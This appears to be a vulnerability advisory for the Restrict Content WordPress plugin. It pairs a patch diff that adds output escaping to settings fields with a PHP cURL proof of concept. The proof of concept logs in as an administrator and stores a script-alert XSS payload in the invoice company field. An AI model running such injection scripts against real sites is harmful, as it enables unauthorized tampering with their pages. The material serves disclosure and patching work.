-										<label for="rcp_settings[statement_descriptor]"><?php _e( 'Statement Descriptor', 'rcp' ); ?></label>
+										<label for="rcp_settings[statement_descriptor]"><?php esc_html_e( 'Statement Descriptor', 'rcp' ); ?></label>
 									</th>
 									<td>
-										<input class="stripe_settings__descriptor--suffix" type="text" id="rcp_settings[statement_descriptor]" name="rcp_settings[statement_descriptor]" value="<?php if( isset( $rcp_options['statement_descriptor'] ) ) echo $rcp_options['statement_descriptor']; ?>" />
-										<p class="description"><?php _e( 'This allows you to add a statement descriptor', 'rcp' ); ?></p>
+										<input class="stripe_settings__descriptor--suffix" type="text" id="rcp_settings[statement_descriptor]" name="rcp_settings[statement_descriptor]" value="<?php echo isset( $rcp_options['statement_descriptor'] ) ? esc_attr( $rcp_options['statement_descriptor'] ) : ''; ?>" />
+										<p class="description"><?php esc_html_e( 'This allows you to add a statement descriptor', 'rcp' ); ?></p>
 									</td>
 								</tr>
 								<tr>
 									<th>
-										<label for="rcp_settings[statement_descriptor_suffix]"><?php _e( 'Statement Descriptor Suffix', 'rcp' ); ?></label>
+										<label for="rcp_settings[statement_descriptor_suffix]"><?php esc_html_e( 'Statement Descriptor Suffix', 'rcp' ); ?></label>
 									</th>
 									<td>
-										<input class="stripe_settings__descriptor" type="text" id="rcp_settings[statement_descriptor_suffix]" name="rcp_settings[statement_descriptor_suffix]" value="<?php if( isset( $rcp_options['statement_descriptor_suffix'] ) ) echo $rcp_options['statement_descriptor_suffix']; ?>" />
-										<p class="description"><?php _e( 'This allows you to add a suffix to your statement descriptor. <strong>Note:</strong> The suffix will override the Statement descriptor.', 'rcp' ); ?></p>
-										<div class="rcp__notification--inline"><?php _e( '<strong>Note:</strong> The suffix will override the Statement descriptor.', 'rcp' ); ?></div>
+										<input class="stripe_settings__descriptor" type="text" id="rcp_settings[statement_descriptor_suffix]" name="rcp_settings[statement_descriptor_suffix]" value="<?php echo isset( $rcp_options['statement_descriptor_suffix'] ) ? esc_attr( $rcp_options['statement_descriptor_suffix'] ) : ''; ?>" />
+										<p class="description"><?php echo wp_kses_post( __( 'This allows you to add a suffix to your statement descriptor. <strong>Note:</strong> The suffix will override the Statement descriptor.', 'rcp' ) ); ?></p>
+										<div class="rcp__notification--inline"><?php echo wp_kses_post( __( '<strong>Note:</strong> The suffix will override the Statement descriptor.', 'rcp' ) ); ?></div>
 									</td>
 								</tr>
 								<tr class="rcp-settings-gateway-stripe-key-row">
 									<th>
-										<label for="rcp_settings[stripe_test_publishable]"><?php _e( 'Test Publishable Key', 'rcp' ); ?></label>
+										<label for="rcp_settings[stripe_test_publishable]"><?php esc_html_e( 'Test Publishable Key', 'rcp' ); ?></label>
 									</th>
 									<td>
-										<input type="text" class="regular-text" id="rcp_settings[stripe_test_publishable]" style="width: 300px;" name="rcp_settings[stripe_test_publishable]" value="<?php if(isset($rcp_options['stripe_test_publishable'])) { echo $rcp_options['stripe_test_publishable']; } ?>" placeholder="pk_test_xxxxxxxx"/>
-										<p class="description"><?php _e('Enter your test publishable key.', 'rcp'); ?></p>
+										<input type="text" class="regular-text" id="rcp_settings[stripe_test_publishable]" style="width: 300px;" name="rcp_settings[stripe_test_publishable]" value="<?php echo isset( $rcp_options['stripe_test_publishable'] ) ? esc_attr( $rcp_options['stripe_test_publishable'] ) : ''; ?>" placeholder="pk_test_xxxxxxxx"/>
+										<p class="description"><?php esc_html_e( 'Enter your test publishable key.', 'rcp' ); ?></p>
 									</td>
 								</tr>
 								<tr class="rcp-settings-gateway-stripe-key-row">
@@ -451,35 +513,40 @@
 										<label for="rcp_settings[stripe_test_secret]"><?php _e( 'Test Secret Key', 'rcp' ); ?></label>
 									</th>
 									<td>
-										<input type="text" class="regular-text" id="rcp_settings[stripe_test_secret]" style="width: 300px;" name="rcp_settings[stripe_test_secret]" value="<?php if(isset($rcp_options['stripe_test_secret'])) { echo $rcp_options['stripe_test_secret']; } ?>" placeholder="sk_test_xxxxxxxx"/>
-										<p class="description"><?php _e('Enter your test secret key. Your API keys can be obtained from your <a href="https://dashboard.stripe.com/account/apikeys" target="_blank">Stripe account settings</a>.', 'rcp'); ?></p>
+										<input type="text" class="regular-text" id="rcp_settings[stripe_test_secret]" style="width: 300px;" name="rcp_settings[stripe_test_secret]" value="<?php echo isset( $rcp_options['stripe_test_secret'] ) ? esc_attr( $rcp_options['stripe_test_secret'] ) : ''; ?>" placeholder="sk_test_xxxxxxxx"/>
+										<p class="description"><?php echo wp_kses_post( __( 'Enter your test secret key. Your API keys can be obtained from your <a href="https://dashboard.stripe.com/account/apikeys" target="_blank">Stripe account settings</a>.', 'rcp' ) ); ?></p>
 									</td>
 								</tr>
 								<tr class="rcp-settings-gateway-stripe-key-row">
 									<th>
-										<label for="rcp_settings[stripe_live_publishable]"><?php _e( 'Live Publishable Key', 'rcp' ); ?></label>
+										<label for="rcp_settings[stripe_live_publishable]"><?php esc_html_e( 'Live Publishable Key', 'rcp' ); ?></label>
 									</th>
 									<td>
-										<input type="text" class="regular-text" id="rcp_settings[stripe_live_publishable]" style="width: 300px;" name="rcp_settings[stripe_live_publishable]" value="<?php if(isset($rcp_options['stripe_live_publishable'])) { echo $rcp_options['stripe_live_publishable']; } ?>" placeholder="pk_live_xxxxxxxx"/>
-										<p class="description"><?php _e('Enter your live publishable key.', 'rcp'); ?></p>
+										<input type="text" class="regular-text" id="rcp_settings[stripe_live_publishable]" style="width: 300px;" name="rcp_settings[stripe_live_publishable]" value="<?php echo isset( $rcp_options['stripe_live_publishable'] ) ? esc_attr( $rcp_options['stripe_live_publishable'] ) : ''; ?>" placeholder="pk_live_xxxxxxxx"/>
+										<p class="description"><?php esc_html_e( 'Enter your live publishable key.', 'rcp' ); ?></p>
 									</td>
 								</tr>
 								<tr class="rcp-settings-gateway-stripe-key-row">
 									<th>
-										<label for="rcp_settings[stripe_live_secret]"><?php _e( 'Live Secret Key', 'rcp' ); ?></label>
+										<label for="rcp_settings[stripe_live_secret]"><?php esc_html_e( 'Live Secret Key', 'rcp' ); ?></label>
 									</th>
 									<td>
-										<input type="text" class="regular-text" id="rcp_settings[stripe_live_secret]" style="width: 300px;" name="rcp_settings[stripe_live_secret]" value="<?php if(isset($rcp_options['stripe_live_secret'])) { echo $rcp_options['stripe_live_secret']; } ?>" placeholder="sk_live_xxxxxxxx"/>
-										<p class="description"><?php _e('Enter your live secret key.', 'rcp'); ?></p>
+										<input type="text" class="regular-text" id="rcp_settings[stripe_live_secret]" style="width: 300px;" name="rcp_settings[stripe_live_secret]" value="<?php echo isset( $rcp_options['stripe_live_secret'] ) ? esc_attr( $rcp_options['stripe_live_secret'] ) : ''; ?>" placeholder="sk_live_xxxxxxxx"/>
+										<p class="description"><?php esc_html_e( 'Enter your live secret key.', 'rcp' ); ?></p>
 									</td>
 								</tr>
 								<tr valign="top">
 									<th>
-										<label for="rcp_settings[disable_sitewide_scripts]"><?php _e( 'Disable Global Stripe.js', 'rcp' ); ?></label>
+										<label for="rcp_settings[disable_sitewide_scripts]"><?php esc_html_e( 'Disable Global Stripe.js', 'rcp' ); ?></label>
 									</th>
 									<td>
 										<input type="checkbox" value="1" name="rcp_settings[disable_sitewide_scripts]" id="rcp_settings[disable_sitewide_scripts]" <?php checked( ! empty( $rcp_options['disable_sitewide_scripts'] ) ); ?>/>
-										<span class="description"><?php printf( __( 'If left unchecked, the Stripe.js file will be loaded on every page of your website to allow them to <a href="%s" target="_blank">better detect anomalous behavior that may be indicative of fraud</a>. This is what Stripe recommends. If you check this option on, then Stripe.js will only be loaded when required for payment processing.', 'rcp' ), 'https://stripe.com/docs/stripe-js/v2#including-stripejs' ); ?></span>
+										<span class="description">
+										<?php
+										// translators: %s: Stripe documentation URL.
+										printf( wp_kses_post( __( 'If left unchecked, the Stripe.js file will be loaded on every page of your website to allow them to <a href="%s" target="_blank">better detect anomalous behavior that may be indicative of fraud</a>. This is what Stripe recommends. If you check this option on, then Stripe.js will only be loaded when required for payment processing.', 'rcp' ) ), esc_url( 'https://stripe.com/docs/stripe-js/v2#including-stripejs' ) );
+										?>
+										</span>
 									</td>
 								</tr>
 								<tr>
@@ -504,10 +571,10 @@
 													);
 													?>
 												</p>
-												<p><strong><?php _e('Note', 'rcp'); ?></strong>: <?php _e('in order for membership payments made through Stripe to be tracked, you must enter the following URL to your <a href="https://dashboard.stripe.com/account/webhooks" target="_blank">Stripe Webhooks</a> under Account Settings:', 'rcp'); ?></p>
+												<p><strong><?php esc_html_e( 'Note', 'rcp' ); ?></strong>: <?php echo wp_kses_post( __( 'in order for membership payments made through Stripe to be tracked, you must enter the following URL to your <a href="https://dashboard.stripe.com/account/webhooks" target="_blank">Stripe Webhooks</a> under Account Settings:', 'rcp' ) ); ?></p>
 												<p style="text-decoration: underline; color: #646FDE;"><?php echo esc_url( add_query_arg( 'listener', 'stripe', home_url() . '/' ) ); ?></p>

-												<?php do_action( 'rcp_after_stripe_help_box_admin' ) ?>
+												<?php do_action( 'rcp_after_stripe_help_box_admin' ); ?>
 											</div>

 											<div class="rcp_stripe_help_box_button">
@@ -559,9 +626,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_paid_membership_activation_email_member
+							 * Hook: rcp_emails_tab_after_paid_membership_activation_email_member
 							 *
-							 * Used to add html or additional functionality after paid membership activation email member enable checkbox
+							 * Used to add html or additional functionality after paid membership activation email member enable checkbox.
 							 */
 							do_action( 'rcp_emails_tab_after_paid_membership_activation_email_member' );

@@ -580,9 +647,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_paid_membership_activation_email_admin
+							 * Hook: rcp_emails_tab_after_paid_membership_activation_email_admin
 							 *
-							 * Used to add html or additional functionality after paid membership activation email admin enable checkbox
+							 * Used to add html or additional functionality after paid membership activation email admin enable checkbox.
 							 */
 							do_action( 'rcp_emails_tab_after_paid_membership_activation_email_admin' );

@@ -606,9 +673,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_free_membership_activation_email_member
+							 * Hook: rcp_emails_tab_after_free_membership_activation_email_member
 							 *
-							 * Used to add html or additional functionality after free membership activation email member enable checkbox
+							 * Used to add html or additional functionality after free membership activation email member enable checkbox.
 							 */
 							do_action( 'rcp_emails_tab_after_free_membership_activation_email_member' );

@@ -627,9 +694,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_free_membership_activation_email_admin
+							 * Hook: rcp_emails_tab_after_free_membership_activation_email_admin
 							 *
-							 * Used to add html or additional functionality after free membership activation email admin enable checkbox
+							 * Used to add html or additional functionality after free membership activation email admin enable checkbox.
 							 */
 							do_action( 'rcp_emails_tab_after_free_membership_activation_email_admin' );

@@ -638,9 +705,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_before_trial_membership_activation_email
+							 * Hook: rcp_emails_tab_before_trial_membership_activation_email
 							 *
-							 * Used to add html or additional functionality before trial membership activation email
+							 * Used to add html or additional functionality before trial membership activation email.
 							 */
 							do_action( 'rcp_emails_tab_before_trial_membership_activation_email' );

@@ -664,9 +731,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_cancelled_membership_email_member
+							 * Hook: rcp_emails_tab_after_cancelled_membership_email_member
 							 *
-							 * Used to add html or additional functionality after cancelled membership email member enable checkbox
+							 * Used to add html or additional functionality after cancelled membership email member enable checkbox.
 							 */
 							do_action( 'rcp_emails_tab_after_cancelled_membership_email_member' );

@@ -685,9 +752,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_cancelled_membership_email_admin
+							 * Hook: rcp_emails_tab_after_cancelled_membership_email_admin
 							 *
-							 * Used to add html or additional functionality after cancelled membership email admin enable checkbox
+							 * Used to add html or additional functionality after cancelled membership email admin enable checkbox.
 							 */
 							do_action( 'rcp_emails_tab_after_cancelled_membership_email_admin' );

@@ -711,9 +778,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_expired_membership_email_member
+							 * Hook: rcp_emails_tab_after_expired_membership_email_member
 							 *
-							 * Used to add html or additional functionality after expired membership enable checkbox
+							 * Used to add html or additional functionality after expired membership enable checkbox.
 							 */
 							do_action( 'rcp_emails_tab_after_expired_membership_email_member' );

@@ -732,9 +799,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_expired_membership_email_admin
+							 * Hook: rcp_emails_tab_after_expired_membership_email_admin
 							 *
-							 * Used to add html or additional functionality after expired membership admin enable checkbox
+							 * Used to add html or additional functionality after expired membership admin enable checkbox.
 							 */
 							do_action( 'rcp_emails_tab_after_expired_membership_email_admin' );

@@ -743,9 +810,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_membership_expiration_reminders
+							 * Hook: rcp_emails_tab_after_membership_expiration_reminders
 							 *
-							 * Used to add html or additional functionality after membership expiration reminders
+							 * Used to add html or additional functionality after membership expiration reminders.
 							 */
 							do_action( 'rcp_emails_tab_after_membership_expiration_reminders' );

@@ -754,9 +821,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_membership_renewal_reminders
+							 * Hook: rcp_emails_tab_after_membership_renewal_reminders
 							 *
-							 * Used to add html or additional functionality after membership renewal reminders
+							 * Used to add html or additional functionality after membership renewal reminders.
 							 */
 							do_action( 'rcp_emails_tab_after_membership_renewal_reminders' );

@@ -778,9 +845,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_payment_received_email_member
+							 * Hook: rcp_emails_tab_after_payment_received_email_member
 							 *
-							 * Used to add html or additional functionality after payment received member enable checkbox
+							 * Used to add html or additional functionality after payment received member enable checkbox.
 							 */
 							do_action( 'rcp_emails_tab_after_payment_received_email_member' );

@@ -799,9 +866,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_payment_received_email_admin
+							 * Hook: rcp_emails_tab_after_payment_received_email_admin
 							 *
-							 * Used to add html or additional functionality after payment received admin enable checkbox
+							 * Used to add html or additional functionality after payment received admin enable checkbox.
 							 */
 							do_action( 'rcp_emails_tab_after_payment_received_email_admin' );

@@ -823,13 +890,13 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_renewal_payment_failed_member
+							 * Hook: rcp_emails_tab_after_renewal_payment_failed_member
 							 *
-							 * Used to add html or additional functionality after renewal payment failed member enable checkbox
+							 * Used to add html or additional functionality after renewal payment failed member enable checkbox.
 							 *
 							 * @since 3.6
 							 */
-							do_action( 'rcp_emails_tab_after_renewal_payment_failed_member');
+							do_action( 'rcp_emails_tab_after_renewal_payment_failed_member' );

 							?>

@@ -846,9 +913,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_renewal_payment_failed_email_admin
+							 * Hook: rcp_emails_tab_after_renewal_payment_failed_email_admin
 							 *
-							 * Used to add html or additional functionality after renewal payment failed admin enable checkbox
+							 * Used to add html or additional functionality after renewal payment failed admin enable checkbox.
 							 *
 							 * @since 3.6
 							 */
@@ -859,9 +926,9 @@
 							<?php

 							/**
-							 * rcp_emails_tab_after_new_user_notifications
+							 * Hook: rcp_emails_tab_after_new_user_notifications
 							 *
-							 * Used to add fields or other html after New User Notifications
+							 * Used to add fields or other html after New User Notifications.
 							 *
 							 * @since 3.6
 							 */
@@ -883,7 +950,13 @@
 								<label for="rcp_settings[invoice_logo]"><?php _e( 'Invoice Logo', 'rcp' ); ?></label>
 							</th>
 							<td>
-								<input type="text" class="regular-text rcp-upload-field" id="rcp_settings[invoice_logo]" style="width: 300px;" name="rcp_settings[invoice_logo]" value="<?php if( isset( $rcp_options['invoice_logo'] ) ) { echo $rcp_options['invoice_logo']; } ?>"/>
+								<input type="text" class="regular-text rcp-upload-field" id="rcp_settings[invoice_logo]" style="width: 300px;" name="rcp_settings[invoice_logo]" value="
+								<?php
+								if ( isset( $rcp_options['invoice_logo'] ) ) {
+									echo esc_attr( $rcp_options['invoice_logo'] );
+								}
+								?>
+								" />
 								<button class="button-secondary rcp-upload"><?php _e( 'Choose Logo', 'rcp' ); ?></button>
 								<p class="description"><?php _e( 'Upload a logo to display on the invoices.', 'rcp' ); ?></p>
 							</td>
@@ -893,7 +966,13 @@
 								<label for="rcp_settings[invoice_company]"><?php _e( 'Company Name', 'rcp' ); ?></label>
 							</th>
 							<td>
-								<input type="text" class="regular-text" id="rcp_settings[invoice_company]" style="width: 300px;" name="rcp_settings[invoice_company]" value="<?php if( isset( $rcp_options['invoice_company'] ) ) { echo $rcp_options['invoice_company']; } ?>"/>
+								<input type="text" class="regular-text" id="rcp_settings[invoice_company]" style="width: 300px;" name="rcp_settings[invoice_company]" value="
+								<?php
+								if ( isset( $rcp_options['invoice_company'] ) ) {
+									echo esc_attr( $rcp_options['invoice_company'] );
+								}
+								?>
+								" />
 								<p class="description"><?php _e( 'Enter the company name that will be shown on the invoice.', 'rcp' ); ?></p>
 							</td>
 						</tr>
@@ -902,7 +981,13 @@
 								<label for="rcp_settings[invoice_name]"><?php _e( 'Name', 'rcp' ); ?></label>
 							</th>
 							<td>
-								<input type="text" class="regular-text" id="rcp_settings[invoice_name]" style="width: 300px;" name="rcp_settings[invoice_name]" value="<?php if( isset( $rcp_options['invoice_name'] ) ) { echo $rcp_options['invoice_name']; } ?>"/>
+								<input type="text" class="regular-text" id="rcp_settings[invoice_name]" style="width: 300px;" name="rcp_settings[invoice_name]" value="
+								<?php
+								if ( isset( $rcp_options['invoice_name'] ) ) {
+									echo esc_attr( $rcp_options['invoice_name'] );
+								}
+								?>
+								" />
 								<p class="description"><?php _e( 'Enter the personal name that will be shown on the invoice.', 'rcp' ); ?></p>
 							</td>
 						</tr>
@@ -911,7 +996,13 @@
 								<label for="rcp_settings[invoice_address]"><?php _e( 'Address Line 1', 'rcp' ); ?></label>
 							</th>
 							<td>
-								<input type="text" class="regular-text" id="rcp_settings[invoice_address]" style="width: 300px;" name="rcp_settings[invoice_address]" value="<?php if( isset( $rcp_options['invoice_address'] ) ) { echo $rcp_options['invoice_address']; } ?>"/>
+								<input type="text" class="regular-text" id="rcp_settings[invoice_address]" style="width: 300px;" name="rcp_settings[invoice_address]" value="
+								<?php
+								if ( isset( $rcp_options['invoice_address'] ) ) {
+									echo esc_attr( $rcp_options['invoice_address'] );
+								}
+								?>
+								" />
 								<p class="description"><?php _e( 'Enter the first address line that will appear on the invoice.', 'rcp' ); ?></p>
 							</td>
 						</tr>
@@ -920,7 +1011,13 @@
 								<label for="rcp_settings[invoice_address_2]"><?php _e( 'Address Line 2', 'rcp' ); ?></label>
 							</th>
 							<td>
-								<input type="text" class="regular-text" id="rcp_settings[invoice_address_2]" style="width: 300px;" name="rcp_settings[invoice_address_2]" value="<?php if( isset( $rcp_options['invoice_address_2'] ) ) { echo $rcp_options['invoice_address_2']; } ?>"/>
+								<input type="text" class="regular-text" id="rcp_settings[invoice_address_2]" style="width: 300px;" name="rcp_settings[invoice_address_2]" value="
+								<?php
+								if ( isset( $rcp_options['invoice_address_2'] ) ) {
+									echo esc_attr( $rcp_options['invoice_address_2'] );
+								}
+								?>
+								" />
 								<p class="description"><?php _e( 'Enter the second address line that will appear on the invoice.', 'rcp' ); ?></p>
 							</td>
 						</tr>
@@ -929,7 +1026,13 @@
 								<label for="rcp_settings[invoice_city_state_zip]"><?php _e( 'City, State, and Zip', 'rcp' ); ?></label>
 							</th>
 							<td>
-								<input type="text" class="regular-text" id="rcp_settings[invoice_city_state_zip]" style="width: 300px;" name="rcp_settings[invoice_city_state_zip]" value="<?php if( isset( $rcp_options['invoice_city_state_zip'] ) ) { echo $rcp_options['invoice_city_state_zip']; } ?>"/>
+								<input type="text" class="regular-text" id="rcp_settings[invoice_city_state_zip]" style="width: 300px;" name="rcp_settings[invoice_city_state_zip]" value="
+								<?php
+								if ( isset( $rcp_options['invoice_city_state_zip'] ) ) {
+									echo esc_attr( $rcp_options['invoice_city_state_zip'] );
+								}
+								?>
+								" />
 								<p class="description"><?php _e( 'Enter the city, state and zip/postal code that will appear on the invoice.', 'rcp' ); ?></p>
 							</td>
 						</tr>
@@ -938,7 +1041,13 @@
 								<label for="rcp_settings[invoice_email]"><?php _e( 'Email', 'rcp' ); ?></label>
 							</th>
 							<td>
-								<input type="text" class="regular-text" id="rcp_settings[invoice_email]" style="width: 300px;" name="rcp_settings[invoice_email]" value="<?php if( isset( $rcp_options['invoice_email'] ) ) { echo $rcp_options['invoice_email']; } ?>"/>
+								<input type="text" class="regular-text" id="rcp_settings[invoice_email]" style="width: 300px;" name="rcp_settings[invoice_email]" value="
+								<?php
+								if ( isset( $rcp_options['invoice_email'] ) ) {
+									echo esc_attr( $rcp_options['invoice_email'] );
+								}
+								?>
+								" />
 								<p class="description"><?php _e( 'Enter the email address that will appear on the invoice.', 'rcp' ); ?></p>
 							</td>
 						</tr>
@@ -947,7 +1056,13 @@
 								<label for="rcp_settings[invoice_header]"><?php _e( 'Header Text', 'rcp' ); ?></label>
 							</th>
 							<td>
-								<input type="text" class="regular-text" id="rcp_settings[invoice_header]" style="width: 300px;" name="rcp_settings[invoice_header]" value="<?php if( isset( $rcp_options['invoice_header'] ) ) { echo $rcp_options['invoice_header']; } ?>"/>
+								<input type="text" class="regular-text" id="rcp_settings[invoice_header]" style="width: 300px;" name="rcp_settings[invoice_header]" value="
+								<?php
+								if ( isset( $rcp_options['invoice_header'] ) ) {
+									echo esc_attr( $rcp_options['invoice_header'] );
+								}
+								?>
+								" />
 								<p class="description"><?php _e( 'Enter the message you would like to be shown on the header of the invoice.', 'rcp' ); ?></p>
 							</td>
 						</tr>
@@ -958,7 +1073,14 @@
 							<td>
 								<?php
 								$invoice_notes = isset( $rcp_options['invoice_notes'] ) ? $rcp_options['invoice_notes'] : '';
-								wp_editor( $invoice_notes, 'rcp_settings_invoice_notes', array( 'textarea_name' => 'rcp_settings[invoice_notes]', 'teeny' => true ) );
+								wp_editor(
+									$invoice_notes,
+									'rcp_settings_invoice_notes',
+									array(
+										'textarea_name' => 'rcp_settings[invoice_notes]',
+										'teeny'         => true,
+									)
+								);
 								?>
 								<p class="description"><?php _e( 'Enter additional notes you would like displayed below the invoice totals.', 'rcp' ); ?></p>
 							</td>
@@ -968,7 +1090,13 @@
 								<label for="rcp_settings[invoice_footer]"><?php _e( 'Footer Text', 'rcp' ); ?></label>
 							</th>
 							<td>
-								<input type="text" class="regular-text" id="rcp_settings[invoice_footer]" style="width: 300px;" name="rcp_settings[invoice_footer]" value="<?php if( isset( $rcp_options['invoice_footer'] ) ) { echo $rcp_options['invoice_footer']; } ?>"/>
+								<input type="text" class="regular-text" id="rcp_settings[invoice_footer]" style="width: 300px;" name="rcp_settings[invoice_footer]" value="
+								<?php
+								if ( isset( $rcp_options['invoice_footer'] ) ) {
+									echo esc_attr( $rcp_options['invoice_footer'] );
+								}
+								?>
+								" />
 								<p class="description"><?php _e( 'Enter the message you would like to be shown on the footer of the invoice.', 'rcp' ); ?></p>
 							</td>
 						</tr>
@@ -983,7 +1111,12 @@
 								<label for="rcp_settings[hide_premium]"><?php _e( 'Hide Restricted Posts', 'rcp' ); ?></label>
 							</th>
 							<td>
-								<input type="checkbox" value="1" name="rcp_settings[hide_premium]" id="rcp_settings[hide_premium]" <?php if( isset( $rcp_options['hide_premium'] ) ) checked('1', $rcp_options['hide_premium']); ?>/>
+								<input type="checkbox" value="1" name="rcp_settings[hide_premium]" id="rcp_settings[hide_premium]"
+								<?php
+								if ( isset( $rcp_options['hide_premium'] ) ) {
+									checked( '1', $rcp_options['hide_premium'] );}
+								?>
+								/>
 								<span class="description"><?php _e( 'Check this to hide all restricted posts from queries when the user does not have access. (Recommended)', 'rcp' ); ?></span>
 							</td>
 						</tr>
@@ -994,15 +1127,16 @@
 							<td>
 								<select id="rcp_settings[redirect_from_premium]" name="rcp_settings[redirect_from_premium]">
 									<?php
-									if($pages) :
+									if ( $pages ) :
 										foreach ( $pages as $page ) {
-											$option = '<option value="' . $page->ID . '" ' . selected($page->ID, $rcp_options['redirect_from_premium'], false) . '>';
-											$option .= $page->post_title;
+											$option  = '<option value="' . esc_attr( (string) $page->ID ) . '" ' . selected( $page->ID, $rcp_options['redirect_from_premium'], false ) . '>';
+											$option .= esc_html( $page->post_title );
 											$option .= '</option>';
+											// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 											echo $option;
 										}
 									else :
-										echo '<option>' . __('No pages found', 'rcp' ) . '</option>';
+										echo '<option>' . esc_html__( 'No pages found', 'rcp' ) . '</option>';
 									endif;
 									?>
 								</select>
@@ -1018,26 +1152,31 @@
 								<label for="rcp_settings[hijack_login_url]"><?php _e( 'Redirect Default Login URL', 'rcp' ); ?></label>
 							</th>
 							<td>
-								<input type="checkbox" value="1" name="rcp_settings[hijack_login_url]" id="rcp_settings[hijack_login_url]" <?php if( isset( $rcp_options['hijack_login_url'] ) ) checked('1', $rcp_options['hijack_login_url']); ?>/>
-								<span class="description"><?php _e( 'Check this to force the default login URL to redirect to the page specified below.', 'rcp' ); ?></span>
+								<input type="checkbox" value="1" name="rcp_settings[hijack_login_url]" id="rcp_settings[hijack_login_url]"
+								<?php
+								if ( isset( $rcp_options['hijack_login_url'] ) ) {
+									checked( '1', $rcp_options['hijack_login_url'] );}
+								?>
+								/>
+								<span class="description"><?php esc_html_e( 'Check this to force the default login URL to redirect to the page specified below.', 'rcp' ); ?></span>
 							</td>
 						</tr>
 						<tr valign="top">
 							<th>
-								<label for="rcp_settings[redirect]"> — <?php _e( 'Login Page', 'rcp' ); ?></label>
+								<label for="rcp_settings[redirect]"> — <?php esc_html_e( 'Login Page', 'rcp' ); ?></label>
 							</th>
 							<td>
 								<select id="rcp_settings[login_redirect]" name="rcp_settings[login_redirect]">
 									<?php
-									if($pages) :
+									if ( $pages ) :
 										foreach ( $pages as $page ) {
-											$option = '<option value="'

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1304 - Membership Plugin – Restrict Content <= 3.2.18 - Authenticated (Administrator+) Stored Cross-Site Scripting via Invoice Settings

<?php
/**
 * Proof of Concept for CVE-2026-1304
 * Requires administrator credentials to demonstrate stored XSS in Restrict Content plugin
 * This script injects a JavaScript alert payload into invoice settings
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'admin';
$password = 'password';

// Initialize cURL session for WordPress login
$ch = curl_init();

// Step 1: Get login page to obtain nonce/tokens
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$login_page = curl_exec($ch);

// Extract login nonce (WordPress security token)
preg_match('/name="log"[^>]*>/', $login_page, $matches);

// Step 2: Perform WordPress authentication
$post_fields = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// Step 3: Navigate to Restrict Content settings page to get settings nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=rcp-settings#invoices');
curl_setopt($ch, CURLOPT_POST, false);
$settings_page = curl_exec($ch);

// Extract the settings nonce (WordPress uses _wpnonce for form submissions)
preg_match('/name="_wpnonce" value="([^"]+)"/', $settings_page, $nonce_matches);
$nonce = isset($nonce_matches[1]) ? $nonce_matches[1] : '';

// Step 4: Inject XSS payload into invoice settings
// The vulnerability allows JavaScript injection in invoice company name field
$xss_payload = '<script>alert("Atomic Edge CVE-2026-1304 XSS");</script>';

$exploit_fields = array(
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/admin.php?page=rcp-settings',
    'rcp_settings[invoice_company]' => $xss_payload,
    'rcp_settings[invoice_address]' => 'Test Address',
    'rcp_settings[invoice_address_2]' => '',
    'rcp_settings[invoice_city_state_zip]' => 'Test City',
    'rcp_settings[invoice_email]' => 'test@example.com',
    'rcp_settings[invoice_header]' => 'Invoice',
    'rcp_settings[invoice_notes]' => '',
    'rcp_settings[invoice_footer]' => '',
    'option_page' => 'rcp_settings_group',
    'action' => 'update',
    'submit' => 'Save Options'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/options.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$exploit_response = curl_exec($ch);

// Step 5: Verify the payload was stored by visiting the settings page again
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=rcp-settings#invoices');
curl_setopt($ch, CURLOPT_POST, false);
$verification_page = curl_exec($ch);

